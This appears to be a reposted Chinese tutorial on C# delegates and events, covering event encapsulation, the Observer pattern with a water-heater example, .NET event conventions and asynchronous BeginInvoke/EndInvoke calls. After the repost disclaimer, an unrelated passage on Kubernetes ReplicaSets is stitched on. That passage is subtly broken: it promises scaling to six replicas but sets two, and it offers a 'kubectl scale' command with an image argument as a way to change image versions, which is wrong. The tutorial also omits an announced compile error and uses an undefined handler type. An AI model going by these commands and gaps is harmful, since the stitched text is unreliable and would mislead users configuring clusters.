在另外的类中。现在你已经对委托有了初步了解，是时候对上面的例子做个改进了。假设我们将 GreetingPeople() 放在一个叫 GreetingManager 的类中，那么新程序应该是这个样子的： namespace Delegate{public delegate void GreetingDelegate(string name);public class GreetingManager{public void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);} }class Program{private static void EnglishGreeting(string name){Console.WriteLine("Good Morning, " + name);}private static void ChineseGreeting(string name){Console.WriteLine("早上好, " + name);}static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.GreetPeople("Liker", EnglishGreeting);gm.GreetPeople("李志中", ChineseGreeting);} }} 我们运行这段代码，嗯，没有任何问题。程序一如预料地那样输出了： // Good Morning, Liker 早上好, 李志中 // 现在，假设我们需要使用上一节学到的知识，将多个方法绑定到同一个委托变量，该如何做呢？让我们再次改写代码： static void Main(string[] args){GreetingManager gm = new GreetingManager();GreetingDelegate delegate1;delegate1 = EnglishGreeting;delegate1 += ChineseGreeting;gm.GreetPeople("Liker", delegate1);} 输出： Good Morning, Liker 早上好, Liker 到了这里，我们不禁想到：面向对象设计，讲究的是对象的封装，既然可以声明委托类型的变量(在上例中是delegate1)，我们何不将这个变量封装到 GreetManager 类中？在这个类的客户端中使用不是更方便么？于是，我们改写GreetManager 类，像这样： public class GreetingManager{/// <summary>/// 在 GreetingManager 类的内部声明 delegate1 变量/// </summary>public GreetingDelegate delegate1;public void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);} } 现在，我们可以这样使用这个委托变量： static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.delegate1 = EnglishGreeting;gm.delegate1 += ChineseGreeting;gm.GreetPeople("Liker", gm.delegate1);} 输出为： Good Morning, Liker 早上好, Liker 尽管这样做没有任何问题，但我们发现这条语句很奇怪。在调用gm.GreetPeople 方法的时候，再次传递了gm 的delegate1 字段, 既然如此，我们何不修改 GreetingManager 类成这样： public class GreetingManager{/// <summary>/// 在 GreetingManager 类的内部声明 delegate1 变量/// </summary>public GreetingDelegate delegate1;public void GreetPeople(string name){if (delegate1 != null) // 如果有方法注册委托变量{ delegate1(name); // 通过委托调用方法} }} 在客户端，调用看上去更简洁一些： static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.delegate1 = EnglishGreeting;gm.delegate1 += ChineseGreeting;gm.GreetPeople("Liker"); //注意，这次不需要再传递 delegate1 变量} 尽管这样达到了我们要的效果，但是还是存在着问题：在这里，delegate1 和我们平时用的string 类型的变量没有什么分别，而我们知道，并不是所有的字段都应该声明成public，合适的做法是应该public 的时候public，应该private 的时候private。 我们先看看如果把 delegate1 声明为 private 会怎样？结果就是：这简直就是在搞笑。因为声明委托的目的就是为了把它暴露在类的客户端进行方法的注册，你把它声明为 private 了，客户端对它根本就不可见，那它还有什么用？ 再看看把delegate1 声明为 public 会怎样？结果就是：在客户端可以对它进行随意的赋值等操作，严重破坏对象的封装性。 最后，第一个方法注册用“=”，是赋值语法，因为要进行实例化，第二个方法注册则用的是“+=”。但是，不管是赋值还是注册，都是将方法绑定到委托上，除了调用时先后顺序不同，再没有任何的分别，这样不是让人觉得很别扭么？ 现在我们想想，如果delegate1 不是一个委托类型，而是一个string 类型，你会怎么做？答案是使用属性对字段进行封装。 于是，Event 出场了，它封装了委托类型的变量，使得：在类的内部，不管你声明它是public还是protected，它总是private 的。在类的外部，注册“+=”和注销“-=”的访问限定符与你在声明事件时使用的访问符相同。我们改写GreetingManager 类，它变成了这个样子： public class GreetingManager{//这一次我们在这里声明一个事件public event GreetingDelegate MakeGreet;public void GreetPeople(string name){MakeGreet(name);} } 很容易注意到：MakeGreet 事件的声明与之前委托变量 delegate1 的声明唯一的区别是多了一个 event 关键字。看到这里，在结合上面的讲解，你应该明白到：事件其实没什么不好理解的，声明一个事件不过类似于声明一个进行了封装的委托类型的变量而已。 为了证明上面的推论，如果我们像下面这样改写Main 方法： static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.MakeGreet = EnglishGreeting; // 编译错误1gm.MakeGreet += ChineseGreeting;gm.GreetPeople("Liker");} 会得到编译错误： 1.2.2 限制类型能力 使用事件不仅能获得比委托更好的封装性以外，还能限制含有事件的类型的能力。这是什么意思呢？它的意思是说：事件应该由事件发布者触发，而不应该由事件的客户端（客户程序）来触发。请看下面的范例： using System;class Program{static void Main(string[] args){Publishser pub = new Publishser();Subscriber sub = new Subscriber();pub.NumberChanged += new NumberChangedEventHandler(sub.OnNumberChanged);pub.DoSomething(); // 应该通过DoSomething()来触发事件pub.NumberChanged(100); // 但可以被这样直接调用，对委托变量的不恰当使用} }/// <summary>/// 定义委托/// </summary>/// <param name="count"></param>public delegate void NumberChangedEventHandler(int count);/// <summary>/// 定义事件发布者/// </summary>public class Publishser{private int count;public NumberChangedEventHandler NumberChanged; // 声明委托变量//public event NumberChangedEventHandler NumberChanged; // 声明一个事件public void DoSomething(){// 在这里完成一些工作 ...if (NumberChanged != null) // 触发事件{ count++;NumberChanged(count);} }}/// <summary>/// 定义事件订阅者/// </summary>public class Subscriber{public void OnNumberChanged(int count){Console.WriteLine("Subscriber notified: count = {0}", count);} } 上面代码定义了一个NumberChangedEventHandler 委托，然后我们创建了事件的发布者Publisher 和订阅者Subscriber。当使用委托变量时，客户端可以直接通过委托变量触发事件，也就是直接调用pub.NumberChanged(100)，这将会影响到所有注册了该委托的订阅者。而事件的本意应该为在事件发布者在其本身的某个行为中触发，比如说在方法DoSomething()中满足某个条件后触发。通过添加event 关键字来发布事件，事件发布者的封装性会更好，事件仅仅是供其他类型订阅，而客户端不能直接触发事件（语句pub.NumberChanged(100)无法通过编译），事件只能在事件发布者Publisher 类的内部触发（比如在方法pub.DoSomething()中），换言之，就是NumberChanged(100)语句只能在Publisher 内部被调用。大家可以尝试一下，将委托变量的声明那行代码注释掉，然后取消下面事件声明的注释。此时程序是无法编译的，当你使用了event 关键字之后，直接在客户端触发事件这种行为，也就是直接调用pub.NumberChanged(100)，是被禁止的。事件只能通过调用DoSomething() 来触发。这样才是事件的本意，事件发布者的封装才会更好。 就好像如果我们要定义一个数字类型，我们会使用int 而不是使用object 一样，给予对象过多的能力并不见得是一件好事，应该是越合适越好。尽管直接使用委托变量通常不会有什么问题，但它给了客户端不应具有的能力，而使用事件，可以限制这一能力，更精确地对类型进行封装。 说 明：这里还有一个约定俗称的规定，就是订阅事件的方法的命名，通常为“On 事件名”，比如这里的OnNumberChanged。 1.3 委托的编译代码 这时候，我们注释掉编译错误的行，然后重新进行编译，再借助 Reflactor 来对 event 的声明语句做一探究，看看为什么会发生这样的错误： 可以看到，实际上尽管我们在GreetingManager 里将 MakeGreet 声明为public，但是，实际上MakeGreet 会被编译成私有字段，难怪会发生上面的编译错误了，因为它根本就不允许在GreetingManager 类的外面以赋值的方式访问，从而验证了我们上面所做的推论。 我们再进一步看下MakeGreet 所产生的代码： // private GreetingDelegate MakeGreet; //对事件的声明实际是声明一个私有的委托变量 [MethodImpl(MethodImplOptions.Synchronized)] public void add_MakeGreet(GreetingDelegate value) { this.MakeGreet = (GreetingDelegate) Delegate.Combine(this.MakeGreet, value); } [MethodImpl(MethodImplOptions.Synchronized)] public void remove_MakeGreet(GreetingDelegate value) { this.MakeGreet = (GreetingDelegate) Delegate.Remove(this.MakeGreet, value); } // 现在已经很明确了：MakeGreet 事件确实是一个GreetingDelegate 类型的委托，只不过不管是不是声明为public，它总是被声明为private。另外，它还有两个方法，分别是add_MakeGreet和remove_MakeGreet，这两个方法分别用于注册委托类型的方法和取消注册。实际上也就是：“+= ”对应 add_MakeGreet，“-=”对应remove_MakeGreet。而这两个方法的访问限制取决于声明事件时的访问限制符。 在add_MakeGreet()方法内部，实际上调用了System.Delegate 的Combine()静态方法，这个方法用于将当前的变量添加到委托链表中。 我们前面提到过两次，说委托实际上是一个类，在我们定义委托的时候： // public delegate void GreetingDelegate(string name); // 当编译器遇到这段代码的时候，会生成下面这样一个完整的类： // public class GreetingDelegate:System.MulticastDelegate { public GreetingDelegate(object @object, IntPtr method); public virtual IAsyncResult BeginInvoke(string name, AsyncCallback callback, object @object); public virtual void EndInvoke(IAsyncResult result); public virtual void Invoke(string name); } // 1.4 .NET 框架中的委托和事件 1.4.1 范例说明 上面的例子已不足以再进行下面的讲解了，我们来看一个新的范例，因为之前已经介绍了很多的内容，所以本节的进度会稍微快一些! 假设我们有个高档的热水器，我们给它通上电，当水温超过95 度的时候：1、扬声器会开始发出语音，告诉你水的温度；2、液晶屏也会改变水温的显示，来提示水已经快烧开了。 现在我们需要写个程序来模拟这个烧水的过程，我们将定义一个类来代表热水器，我们管它叫：Heater，它有代表水温的字段，叫做 temperature；当然，还有必不可少的给水加热方法 BoilWater()，一个发出语音警报的方法 MakeAlert()，一个显示水温的方法，ShowMsg()。 namespace Delegate{/// <summary>/// 热水器/// </summary>public class Heater{/// <summary>/// 水温/// </summary>private int temperature;/// <summary>/// 烧水/// </summary>public void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;if (temperature > 95){MakeAlert(temperature);ShowMsg(temperature);} }}/// <summary>/// 发出语音警报/// </summary>/// <param name="param"></param>private void MakeAlert(int param){Console.WriteLine("Alarm：嘀嘀嘀，水已经 {0} 度了：", param);}/// <summary>/// 显示水温/// </summary>/// <param name="param"></param>private void ShowMsg(int param){Console.WriteLine("Display：水快开了，当前温度：{0}度。", param);} }class Program{static void Main(){Heater ht = new Heater();ht.BoilWater();} }} 1.4.2 Observer 设计模式简介 上面的例子显然能完成我们之前描述的工作，但是却并不够好。现在假设热水器由三部分组成：热水器、警报器、显示器，它们来自于不同厂商并进行了组装。那么，应该是热水器仅仅负责烧水，它不能发出警报也不能显示水温；在水烧开时由警报器发出警报、显示器显示提示和水温。 这时候，上面的例子就应该变成这个样子： /// <summary>/// 热水器/// </summary>public class Heater{private int temperature; private void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;} }}/// <summary>/// 警报器/// </summary>public class Alarm{private void MakeAlert(int param){Console.WriteLine("Alarm：嘀嘀嘀，水已经 {0} 度了：", param);} }/// <summary>/// 显示器/// </summary>public class Display{private void ShowMsg(int param){Console.WriteLine("Display：水已烧开，当前温度：{0}度。", param);} } 这里就出现了一个问题：如何在水烧开的时候通知报警器和显示器？ 在继续进行之前，我们先了解一下Observer 设计模式，Observer 设计模式中主要包括如下两类对象： Subject：监视对象，它往往包含着其他对象所感兴趣的内容。在本范例中，热水器就是一个监视对象，它包含的其他对象所感兴趣的内容，就是 temprature 字段，当这个字段的值快到100 时，会不断把数据发给监视它的对象。 Observer：监视者，它监视Subject，当 Subject 中的某件事发生的时候，会告知Observer，而Observer 则会采取相应的行动。在本范例中，Observer 有警报器和显示器，它们采取的行动分别是发出警报和显示水温。 在本例中，事情发生的顺序应该是这样的： 1. 警报器和显示器告诉热水器，它对它的温度比较感兴趣(注册)。 2. 热水器知道后保留对警报器和显示器的引用。 3. 热水器进行烧水这一动作，当水温超过 95 度时，通过对警报器和显示器的引用，自动调用警报器的MakeAlert()方法、显示器的ShowMsg()方法。 类似这样的例子是很多的，GOF 对它进行了抽象，称为 Observer 设计模式：Observer 设计模式是为了定义对象间的一种一对多的依赖关系，以便于当一个对象的状态改变时，其他依赖于它的对象会被自动告知并更新。Observer 模式是一种松耦合的设计模式。 1.4.3 实现范例的Observer 设计模式 我们之前已经对委托和事件介绍很多了，现在写代码应该很容易了，现在在这里直接给出代码，并在注释中加以说明。 namespace Delegate{public class Heater{private int temperature;public delegate void BoilHandler(int param);public event BoilHandler BoilEvent;public void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;if (temperature > 95){if (BoilEvent != null){ BoilEvent(temperature); // 调用所有注册对象的方法} }} }}public class Alarm{public void MakeAlert(int param){Console.WriteLine("Alarm：嘀嘀嘀，水已经 {0} 度了：", param);} }public class Display{public static void ShowMsg(int param) // 静态方法{ Console.WriteLine("Display：水快烧开了，当前温度：{0}度。", param);} }class Program{static void Main(){Heater heater = new Heater();Alarm alarm = new Alarm();heater.BoilEvent += alarm.MakeAlert; // 注册方法heater.BoilEvent += (new Alarm()).MakeAlert; // 给匿名对象注册方法heater.BoilEvent += Display.ShowMsg; // 注册静态方法heater.BoilWater(); // 烧水，会自动调用注册过对象的方法} }} 输出为： // Alarm：嘀嘀嘀，水已经 96 度了： Alarm：嘀嘀嘀，水已经 96 度了： Display：水快烧开了，当前温度：96 度。 // 省略... // 1.4.4 .NET 框架中的委托与事件 尽管上面的范例很好地完成了我们想要完成的工作，但是我们不仅疑惑：为什么.NET Framework 中的事件模型和上面的不同？为什么有很多的EventArgs 参数？ 在回答上面的问题之前，我们先搞懂 .NET Framework 的编码规范： 1. 委托类型的名称都应该以 EventHandler 结束。 2. 委托的原型定义：有一个void 返回值，并接受两个输入参数：一个Object 类型，一个EventArgs 类型(或继承自EventArgs)。 3. 事件的命名为委托去掉 EventHandler 之后剩余的部分。 4. 继承自 EventArgs 的类型应该以EventArgs 结尾。 再做一下说明： 1. 委托声明原型中的Object 类型的参数代表了Subject，也就是监视对象，在本例中是Heater(热水器)。回调函数(比如Alarm 的MakeAlert)可以通过它访问触发事件的对象(Heater)。 2. EventArgs 对象包含了Observer 所感兴趣的数据，在本例中是temperature。 上面这些其实不仅仅是为了编码规范而已，这样也使得程序有更大的灵活性。比如说，如果我们不光想获得热水器的温度，还想在Observer 端(警报器或者显示器)方法中获得它的生产日期、型号、价格，那么委托和方法的声明都会变得很麻烦，而如果我们将热水器的引用传给警报器的方法，就可以在方法中直接访问热水器了。 现在我们改写之前的范例，让它符合.NET Framework的规范： using System;using System.Collections.Generic;using System.Text;namespace Delegate{public class Heater{private int temperature;public string type = "RealFire 001"; // 添加型号作为演示public string area = "China Xian"; // 添加产地作为演示public delegate void BoiledEventHandler(Object sender, BoiledEventArgs e);public event BoiledEventHandler Boiled; // 声明事件// 定义 BoiledEventArgs 类，传递给 Observer 所感兴趣的信息public class BoiledEventArgs : EventArgs{public readonly int temperature;public BoiledEventArgs(int temperature){this.temperature = temperature;} }// 可以供继承自 Heater 的类重写，以便继承类拒绝其他对象对它的监视protected virtual void OnBoiled(BoiledEventArgs e){if (Boiled != null){Boiled(this, e); // 调用所有注册对象的方法} }public void BoilWater(){for (int i = 0; i <= 100; i++){temperature = i;if (temperature > 95){// 建立BoiledEventArgs 对象。BoiledEventArgs e = new BoiledEventArgs(temperature);OnBoiled(e); // 调用 OnBolied 方法} }}public class Alarm{public void MakeAlert(Object sender, Heater.BoiledEventArgs e){Heater heater = (Heater)sender; // 这里是不是很熟悉呢？// 访问 sender 中的公共字段Console.WriteLine("Alarm：{0} - {1}: ", heater.area, heater.type);Console.WriteLine("Alarm: 嘀嘀嘀，水已经 {0} 度了：", e.temperature);Console.WriteLine();} }public class Display{public static void ShowMsg(Object sender, Heater.BoiledEventArgs e) // 静态方法{Heater heater = (Heater)sender;Console.WriteLine("Display：{0} - {1}: ", heater.area, heater.type);Console.WriteLine("Display：水快烧开了，当前温度：{0}度。", e.temperature);Console.WriteLine();} }class Program{static void Main(){Heater heater = new Heater();Alarm alarm = new Alarm();heater.Boiled += alarm.MakeAlert; //注册方法heater.Boiled += (new Alarm()).MakeAlert; //给匿名对象注册方法heater.Boiled += new Heater.BoiledEventHandler(alarm.MakeAlert); //也可以这么注册heater.Boiled += Display.ShowMsg; //注册静态方法heater.BoilWater(); //烧水，会自动调用注册过对象的方法} }} } 输出为： Alarm：China Xian - RealFire 001: Alarm: 嘀嘀嘀，水已经 96 度了： Alarm：China Xian - RealFire 001: Alarm: 嘀嘀嘀，水已经 96 度了： Alarm：China Xian - RealFire 001: Alarm: 嘀嘀嘀，水已经 96 度了： Display：China Xian - RealFire 001: Display：水快烧开了，当前温度：96 度。 // 省略 ... 1.5 委托进阶 1.5.1 为什么委托定义的返回值通常都为 void ？ 尽管并非必需，但是我们发现很多的委托定义返回值都为 void，为什么呢？这是因为委托变量可以供多个订阅者注册，如果定义了返回值，那么多个订阅者的方法都会向发布者返回数值，结果就是后面一个返回的方法值将前面的返回值覆盖掉了，因此，实际上只能获得最后一个方法调用的返回值。可以运行下面的代码测试一下。除此以外，发布者和订阅者是松耦合的，发布者根本不关心谁订阅了它的事件、为什么要订阅，更别说订阅者的返回值了，所以返回订阅者的方法返回值大多数情况下根本没有必要。 1.5.2 如何让事件只允许一个客户订阅？ 少数情况下，比如像上面，为了避免发生“值覆盖”的情况（更多是在异步调用方法时，后面会讨论），我们可能想限制只允许一个客户端注册。此时怎么做呢？我们可以向下面这样，将事件声明为private 的，然后提供两个方法来进行注册和取消注册： public class Publishser{private event GeneralEventHandler NumberChanged; // 声明一个私有事件// 注册事件public void Register(GeneralEventHandler method){NumberChanged = method;}// 取消注册public void UnRegister(GeneralEventHandler method){NumberChanged -= method;}public void DoSomething(){// 做某些其余的事情if (NumberChanged != null){ // 触发事件string rtn = NumberChanged();Console.WriteLine("Return: {0}", rtn); // 打印返回的字符串，输出为Subscriber3} }} 注意上面，在UnRegister()中，没有进行任何判断就使用了NumberChanged -= method 语句。这是因为即使method 方法没有进行过注册，此行语句也不会有任何问题，不会抛出异常，仅仅是不会产生任何效果而已。 注意在Register()方法中，我们使用了赋值操作符“=”，而非“+=”，通过这种方式就避免了多个方法注册。 1.7 委托和方法的异步调用 通常情况下，如果需要异步执行一个耗时的操作，我们会新起一个线程，然后让这个线程去执行代码。但是对于每一个异步调用都通过创建线程来进行操作显然会对性能产生一定的影响，同时操作也相对繁琐一些。.NET 中可以通过委托进行方法的异步调用，就是说客户端在异步调用方法时，本身并不会因为方法的调用而中断，而是从线程池中抓取一个线程去执行该方法，自身线程（主线程）在完成抓取线程这一过程之后，继续执行下面的代码，这样就实现了代码的并行执行。使用线程池的好处就是避免了频繁进行异步调用时创建、销毁线程的开销。当我们在委托对象上调用BeginInvoke()时，便进行了一个异步的方法调用。 事件发布者和订阅者之间往往是松耦合的，发布者通常不需要获得订阅者方法执行的情况；而当使用异步调用时，更多情况下是为了提升系统的性能，而并非专用于事件的发布和订阅这一编程模型。而在这种情况下使用异步编程时，就需要进行更多的控制，比如当异步执行方法的方法结束时通知客户端、返回异步执行方法的返回值等。本节就对 BeginInvoke() 方法、EndInvoke() 方法和其相关的 IAysncResult 做一个简单的介绍。 我们先看这样一段代码，它演示了不使用异步调用的通常情况： class Program7{static void Main(string[] args){Console.WriteLine("Client application started!\n");Thread.CurrentThread.Name = "Main Thread";Calculator cal = new Calculator();int result = cal.Add(2, 5);Console.WriteLine("Result: {0}\n", result);// 做某些其它的事情，模拟需要执行3 秒钟for (int i = 1; i <= 3; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Client executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("\nPress any key to exit...");Console.ReadLine();} }public class Calculator{public int Add(int x, int y){if (Thread.CurrentThread.IsThreadPoolThread){Thread.CurrentThread.Name = "Pool Thread";}Console.WriteLine("Method invoked!");// 执行某些事情，模拟需要执行2 秒钟for (int i = 1; i <= 2; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Add executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("Method complete!");return x + y;} } 上面代码有几个关于对于线程的操作，如果不了解可以看一下下面的说明，如果你已经了解可以直接跳过： 1. Thread.Sleep()，它会让执行当前代码的线程暂停一段时间（如果你对线程的概念比较陌生，可以理解为使程序的执行暂停一段时间），以毫秒为单位，比如Thread.Sleep(1000)，将会使线程暂停1 秒钟。在上面我使用了它的重载方法，个人觉得使用TimeSpan.FromSeconds(1)，可读性更好一些。 2. Thread.CurrentThread.Name，通过这个属性可以设置、获取执行当前代码的线程的名称，值得注意的是这个属性只可以设置一次，如果设置两次，会抛出异常。 3. Thread.IsThreadPoolThread，可以判断执行当前代码的线程是否为线程池中的线程。 通过这几个方法和属性，有助于我们更好地调试异步调用方法。上面代码中除了加入了一些对线程的操作以外再没有什么特别之处。我们建了一个Calculator 类，它只有一个Add 方法，我们模拟了这个方法需要执行2 秒钟时间，并且每隔一秒进行一次输出。而在客户端程序中，我们使用result 变量保存了方法的返回值并进行了打印。随后，我们再次模拟了客户端程序接下来的操作需要执行2 秒钟时间。运行这段程序，会产生下面的输出： // Client application started! Method invoked! Main Thread: Add executed 1 second(s). Main Thread: Add executed 2 second(s). Method complete! Result: 7 Main Thread: Client executed 1 second(s). Main Thread: Client executed 2 second(s). Main Thread: Client executed 3 second(s). Press any key to exit... // 如果你确实执行了这段代码，会看到这些输出并不是一瞬间输出的，而是执行了大概5 秒钟的时间，因为线程是串行执行的，所以在执行完 Add() 方法之后才会继续客户端剩下的代码。 接下来我们定义一个AddDelegate 委托，并使用BeginInvoke()方法来异步地调用它。在上面已经介绍过，BeginInvoke()除了最后两个参数为AsyncCallback 类型和Object 类型以外，前面的参数类型和个数与委托定义相同。另外BeginInvoke()方法返回了一个实现了IAsyncResult 接口的对象（实际上就是一个AsyncResult 类型实例，注意这里IAsyncResult 和AysncResult 是不同的，它们均包含在.NET Framework 中）。 AsyncResult 的用途有这么几个：传递参数，它包含了对调用了BeginInvoke()的委托的引用；它还包含了BeginInvoke()的最后一个Object 类型的参数；它可以鉴别出是哪个方法的哪一次调用，因为通过同一个委托变量可以对同一个方法调用多次。 EndInvoke()方法接受IAsyncResult 类型的对象（以及ref 和out 类型参数，这里不讨论了，对它们的处理和返回值类似），所以在调用BeginInvoke()之后，我们需要保留IAsyncResult，以便在调用EndInvoke()时进行传递。这里最重要的就是EndInvoke()方法的返回值，它就是方法的返回值。除此以外，当客户端调用EndInvoke()时，如果异步调用的方法没有执行完毕，则会中断当前线程而去等待该方法，只有当异步方法执行完毕后才会继续执行后面的代码。所以在调用完BeginInvoke()后立即执行EndInvoke()是没有任何意义的。我们通常在尽可能早的时候调用BeginInvoke()，然后在需要方法的返回值的时候再去调用EndInvoke()，或者是根据情况在晚些时候调用。说了这么多，我们现在看一下使用异步调用改写后上面的代码吧： using System.Threading;using System;public delegate int AddDelegate(int x, int y);class Program8{static void Main(string[] args){Console.WriteLine("Client application started!\n");Thread.CurrentThread.Name = "Main Thread";Calculator cal = new Calculator();AddDelegate del = new AddDelegate(cal.Add);IAsyncResult asyncResult = del.BeginInvoke(2, 5, null, null); // 异步调用方法// 做某些其它的事情，模拟需要执行3 秒钟for (int i = 1; i <= 3; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Client executed {1} second(s).", Thread.CurrentThread.Name, i);}int rtn = del.EndInvoke(asyncResult);Console.WriteLine("Result: {0}\n", rtn);Console.WriteLine("\nPress any key to exit...");Console.ReadLine();} }public class Calculator{public int Add(int x, int y){if (Thread.CurrentThread.IsThreadPoolThread){Thread.CurrentThread.Name = "Pool Thread";}Console.WriteLine("Method invoked!");// 执行某些事情，模拟需要执行2 秒钟for (int i = 1; i <= 2; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Add executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("Method complete!");return x + y;} } 此时的输出为： // Client application started! Method invoked! Main Thread: Client executed 1 second(s). Pool Thread: Add executed 1 second(s). Main Thread: Client executed 2 second(s). Pool Thread: Add executed 2 second(s). Method complete! Main Thread: Client executed 3 second(s). Result: 7 Press any key to exit... // 现在执行完这段代码只需要3 秒钟时间，两个for 循环所产生的输出交替进行，这也说明了这两段代码并行执行的情况。可以看到Add() 方法是由线程池中的线程在执行， 因为Thread.CurrentThread.IsThreadPoolThread 返回了True，同时我们对该线程命名为了Pool Thread。另外我们可以看到通过EndInvoke()方法得到了返回值。有时候，我们可能会将获得返回值的操作放到另一段代码或者客户端去执行，而不是向上面那样直接写在BeginInvoke()的后面。比如说我们在Program 中新建一个方法GetReturn()，此时可以通过AsyncResult 的AsyncDelegate 获得del 委托对象，然后再在其上调用EndInvoke()方法，这也说明了AsyncResult 可以唯一的获取到与它相关的调用了的方法（或者也可以理解成委托对象）。所以上面获取返回值的代码也可以改写成这样： private static int GetReturn(IAsyncResult asyncResult){AsyncResult result = (AsyncResult)asyncResult;AddDelegate del = (AddDelegate)result.AsyncDelegate;int rtn = del.EndInvoke(asyncResult);return rtn;} 然后再将int rtn = del.EndInvoke(asyncResult);语句改为int rtn = GetReturn(asyncResult);。注意上面IAsyncResult 要转换为实际的类型AsyncResult 才能访问AsyncDelegate 属性，因为它没有包含在IAsyncResult 接口的定义中。 BeginInvoke 的另外两个参数分别是AsyncCallback 和Object 类型，其中AsyncCallback 是一个委托类型，它用于方法的回调，即是说当异步方法执行完毕时自动进行调用的方法。它的定义为： // public delegate void AsyncCallback(IAsyncResult ar); // Object 类型用于传递任何你想要的数值，它可以通过IAsyncResult 的AsyncState 属性获得。下面我们将获取方法返回值、打印返回值的操作放到了OnAddComplete()回调方法中： using System.Threading;using System;using System.Runtime.Remoting.Messaging;public delegate int AddDelegate(int x, int y);class Program9{static void Main(string[] args){Console.WriteLine("Client application started!\n");Thread.CurrentThread.Name = "Main Thread";Calculator cal = new Calculator();AddDelegate del = new AddDelegate(cal.Add);string data = "Any data you want to pass.";AsyncCallback callBack = new AsyncCallback(OnAddComplete);del.BeginInvoke(2, 5, callBack, data); // 异步调用方法// 做某些其它的事情，模拟需要执行3 秒钟for (int i = 1; i <= 3; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Client executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("\nPress any key to exit...");Console.ReadLine();}static void OnAddComplete(IAsyncResult asyncResult){AsyncResult result = (AsyncResult)asyncResult;AddDelegate del = (AddDelegate)result.AsyncDelegate;string data = (string)asyncResult.AsyncState;int rtn = del.EndInvoke(asyncResult);Console.WriteLine("{0}: Result, {1}; Data: {2}\n", Thread.CurrentThread.Name, rtn, data);} }public class Calculator{public int Add(int x, int y){if (Thread.CurrentThread.IsThreadPoolThread){Thread.CurrentThread.Name = "Pool Thread";}Console.WriteLine("Method invoked!");// 执行某些事情，模拟需要执行2 秒钟for (int i = 1; i <= 2; i++){Thread.Sleep(TimeSpan.FromSeconds(i));Console.WriteLine("{0}: Add executed {1} second(s).", Thread.CurrentThread.Name, i);}Console.WriteLine("Method complete!");return x + y;} } 它产生的输出为： Client application started! Method invoked! Main Thread: Client executed 1 second(s). Pool Thread: Add executed 1 second(s). Main Thread: Client executed 2 second(s). Pool Thread: Add executed 2 second(s). Method complete! Pool Thread: Result, 7; Data: Any data you want to pass. Main Thread: Client executed 3 second(s). Press any key to exit... 这里有几个值得注意的地方： 1、我们在调用BeginInvoke()后不再需要保存IAysncResult 了，因为AysncCallback 委托将该对象定义在了回调方法的参数列表中； 2、我们在OnAddComplete()方法中获得了调用BeginInvoke()时最后一个参数传递的值，字符串“Any data you want to pass”； 3、执行回调方法的线程并非客户端线程Main Thread，而是来自线程池中的线程Pool Thread。另外如前面所说，在调用EndInvoke()时有可能会抛出异常，所以在应该将它放到try/catch 块中，这里就不再示范了。 1.8 总结 我们详细地讨论了C中的委托和事件，包括什么是委托、为什么要使用委托、事件的由来、.NET Framework 中的委托和事件、委托中方法异常和超时的处理、委托与异步编程、委托和事件对Observer 设计模式的意义。拥有了本章的知识，相信你以后遇到委托和事件时，将不会再有所畏惧。 本篇文章为转载内容。原文链接：https://blog.csdn.net/beyonddeg/article/details/53528482。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...够正常运行，它会持续监听这些pod的运行状态，提供了以下功能 自愈能力： 重启 ：当某节点中的pod运行过程中出现问题导致无法启动时，k8s会不断重启，直到可用状态为止 故障转移：当正在运行中pod所在的节点发生故障或者宕机时，k8s会选择集群中另一个可用节点，将pod运行到可用节点上； pod数量的扩缩容：pod副本的扩容和缩容 镜像升降级：支持镜像版本的升级和降级； 配置模板 rs的所有配置如下 apiVersion: apps/v1 版本号kind: ReplicaSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: rsspec: 详情描述replicas: 3 副本数量selector: 选择器，通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则，key就是label的key，values的值是个数组，意思是标签值必须是此数组中的其中一个才能匹配上；- {key: app, operator: In, values: [nginx-pod]}template: 模板，当副本数量不足时，会根据下面的模板创建pod副本metadata:labels: 这里的标签必须和上面的matchLabels一致，将他们关联起来app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建一个ReplicaSet 新建一个文件 rs.yaml，内容如下 apiVersion: apps/v1kind: ReplicaSet pod控制器metadata: 元数据name: pc-replicaset 名字namespace: dev 名称空间spec:replicas: 3 副本数selector: 选择器，通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podtemplate: 模板，当副本数量不足时，会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 kubectl create -f rs.yaml 获取replicaset kubectl get replicaset -n dev 2、扩缩容 刚刚我们已经用第一种方式创建了一个replicaSet，现在就基于原来的rs进行扩容，原来的副本数量是3个，现在我们将其扩到6个，做法也很简单，运行编辑命令 第一种方式: scale 使用scale命令实现扩缩容，后面--replicas=n直接指定目标数量即可kubectl scale rs pc-replicaset --replicas=2 -n dev 第二种方式：使用edit命令编辑rs 这种方式相当于使用vi编辑修改yaml配置的内容，进去后将replicas的值改为1，保存后自动生效kubectl edit rs pc-replicaset -n dev 3、镜像版本变更 第一种方式：scale kubectl scale rs pc-replicaset nginx=nginx:1.71.2 -n dev 第二种方式：edit 